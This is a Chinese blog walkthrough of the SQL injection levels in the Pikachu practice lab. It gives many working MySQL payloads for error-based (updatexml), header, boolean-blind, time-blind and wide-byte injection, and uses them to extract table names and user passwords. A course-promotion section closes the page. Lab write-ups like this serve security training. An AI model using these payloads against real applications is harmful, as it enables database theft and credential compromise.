SQL注入-Pikachu靶场通关_pikachu靶场通关sql

insert/update注入

注册用户:

首先点击注册账号

image-20230821122800676

注册时,抓包获取信息

使用bp抓包,获取数据包后,发送给重发器进行测试

image-20230821122903454

测试注入:

从username处开始尝试

payload:
username=xiaohong' or updatexml(1,concat(0x7e,database()),3) or '&password=xiaohong123456&sex=%E5%A5%B3&phonenum=123123&email=hebei&add=hebei&submit=submit

' or updatexml(1,concat(0x7e,database()),3) or '

image-20230821123310141

若查看其他数据库信息,替换database()即可

爆数据表:

payload:
' and updatexml(1,concat(0x7e,(select table\_name from information\_schema.tables where table\_schema='pikachu' limit 0,1),0x7e),1) and '
通过修改limit 0,1当中第一个数字的值,逐一查看即可
...

' and updatexml(1,concat(0x7e,(select table\_name from information\_schema.tables where table\_schema='pikachu' limit 3,1),0x7e),1) and '
当limit 3,1的时候,可查看到users这张表 

image-20230821124824245

爆字段

payload:
' and updatexml(1,concat(0x7e,(select column\_name from information\_schema.columns where table\_name='users' limit 0,1),0x7e),1) and '
相同的道理,limit逐一去看列的信息
...

当limit 12,1的时候,发现username
' and updatexml(1,concat(0x7e,(select column\_name from information\_schema.columns where table\_name='users' limit 12,1),0x7e),1) and '

当limit 13,1的时候,发现password
' and updatexml(1,concat(0x7e,(select column\_name from information\_schema.columns where table\_name='users' limit 13,1),0x7e),1) and '

image-20230821125302124

image-20230821125327944

接下来就是获取username和password的信息

payload:
爆username的值:

' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) and '

' and updatexml(1,concat(0x7e,(select username from users limit 1,1),0x7e),1) and '

' and updatexml(1,concat(0x7e,(select username from users limit 2,1),0x7e),1) and '
同样的道理还是limit去逐一查看切换第一个数字的值即可
limit 0,1 查出admin用户
limit 1,1 查出pikachu用户
limit 2,1 查出test用户

image-20230821125914478

payload:
爆password
与username对应
admin密码:
' and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1) and '
pikachu密码:
' and updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1) and '
test密码:
' and updatexml(1,concat(0x7e,(select password from users limit 2,1),0x7e),1) and '

成功获取密码

admin密码:

image-20230821130606002

pikachu密码:

image-20230821130736004

test密码:

image-20230821130756095

如果想一次性爆出,可以使用group_concat
但是updatexml限制长度,可以使用substr来进行显示
数据库的substr函数用法:
1、substr(str,pos,len)从pos开始的位置,截取len个字符;
2、substr(str,pos) pos开始的位置,一直截取到最后。

payload:
'and updatexml(1,concat(0x7e,substr((select group\_concat(username,'/',password) from pikachu.users),1,32),0x7e),1) and '

image-20230821132808132

当爆破完整的数据时,修改substr中第二个参数即可控制从何处进行显示,最后获得完整的数据。

爆出来的密码使用MD5进行解密即可。

更新用户信息:

在修改信息处,修改时进行抓包

image-20230821133616495

同理,使用bp抓包进行测试

测注入点,爆数据库
在add参数后面测试
payload:
' and updatexml(1,concat(0x7e,database()),3) and '#
其他参数位置都可以尝试

成功获取当前数据库
image-20230821133754231

其余的爆库爆表爆数据的操作和以上注册时注入的sql语句一致,大体一样。

delete注入

首先发表留言:

image-20230821134209255

删除留言时进行抓包

发给测试器进行测试

image-20230821134258904

测试注入点:

注意在bp当中,get请求当中去输入sql语句时,空格用+替代,否则会出现问题
payload:
+or+updatexml+(1,concat(0x7e,database()),0)--+

成功获取当前的数据库:

image-20230821135043594

其他的爆库爆表爆字段内容的sql语句以上注册时注入的一致。

http头部注入

该注入是对http包中的user-agent、x-forwarded-for或referer进行注入,当上述信息可被带入数据库进行处理时,可对其进行sql注入。

根据提示使用admin/123456进行登录

image-20230821135406179

登录后可查看到相关的信息ip,UA头信息等

开始尝试注入:

登录时使用bp抓包,发送给重发器进行测试

在cookie信息处存在注入,可进行注入:

payload:
' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

成功回显

image-20230821140000025

在UA头部也可以注入,也可以成功回显

payload和以上一致

' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

image-20230821140133874

发现通过报错注入,数据库名被回显,说明UA代理也是一个注入点。

后续注入的基本流程和方法如上述报错注入基本相同。使用cookie注入或UA注入都可以。

基于boolian的盲注

布尔判断指的是利用SQL语句逻辑与操作,判断and两边的条件是否成立,SQL语句带入输入库查询后判断返回内容(通常返回值仅有非空和空两种状态),类似布尔型的true和false的两种状态。

(因为比较麻烦所以一般手动注入不会考虑此方法,需要慢慢判断)

输入任何值都说username不存在,有注入点,但是不会回显数据,这里可以尝试布尔注入,由于无法回显数据,利用逻辑操与数据库版本第1位数字字符做判断;

image-20230821142233189

image-20230821141531428

payload:
1' and left(version(),1)=5 --+
1' and length(database())>8 --+
' and length(database())>1#
 and (select substr(database(),1,1))='p'#
 ...
 爆表长
 ' and length((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1))=8#
 ....

之后可通过bp或者脚本进行测试注入

基于时间的盲注

首先拿到此,发现不论输入什么,都是这个效果,提示这一句话

image-20230821142816465

输入一句话进行延迟看是否有效果,有效果说明存在注入:

payload:
admin and sleep(5)# 没有延迟
admin' and sleep(5)# 存在延迟

image-20230821143433335

if和sleep结合使用
admin'+and+if(1>0,sleep(5),-1)# 存在延时
猜解:
admin' and if((substr(database(),1,1))='s',sleep(5),-1)# 不延迟
admin' and if((substr(database(),1,1))='p',sleep(5),-1)# 延迟

image-20230821143731524

时间盲注整体上基本就是在布尔盲注的基础上增加if判断,并且与sleep配合,布尔盲注是当对的时候,返回正确的值,错误的时候返回错误的值,而时间盲注,不管正确还是错误都不会返回值,需要靠延迟判断。

通过对数据库信息的各个位置的不断判断,字母,长度等来推测数据库的数据

wide byte注入(宽字节注入)

宽字节注入,大概意思就是有些过滤不严谨的地方后端编码可能使用UTF8编码\'进行了单引号转义,有时候我们使用GBK编码绕过后端反斜杠转义

测试宽字节注入,和联合注入是一样的只是在内容后面添加%df即可,通过在内容输入处输入内容,然后修改。比如获取显示位。

宽字节注入的原理是:
当转义使用的\为ASCII编码,而客户端传入的参数被当成GBK等宽字节编码,则可以通过在\之前插入一个十六进制字节(ASCII码要大于128,才到汉字的范围)来让mysql以为插入的字节和\是一个中文字符,从而吃掉\,摧毁转义。

当输入1的时候,查询效果:

image-20230821144235341

进行抓包,测试注入:

payload:
name=1%df' or 1=1# 回显正常
name=1%df' or 2=1# 回显不正常
存在注入

image-20230821144515396

说明带到数据库当中进行查询

image-20230821144531078

使用联合查询进行注入:

判断回显:

payload:
name=1%df' union select 1,2#

image-20230821144641550

其他获取数据库信息,爆库、爆表、爆字段等信息同字符型注入使用的联合查询注入方式一致。

一、网安学习成长路线图

网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
![在这里插入图片描述](https://
作者徽是vip1024c
img-blog.csdnimg.cn/aa7be04dc8684d7ea43acc0151aebbf1.png)

二、网安视频合集

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
在这里插入图片描述

三、精品网安学习书籍

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
在这里插入图片描述

四、网络安全源码合集+工具包

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
在这里插入图片描述

五、网络安全面试题

最后就是大家最关心的网络安全面试题板块
在这里插入图片描述在这里插入图片描述

  • 9
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值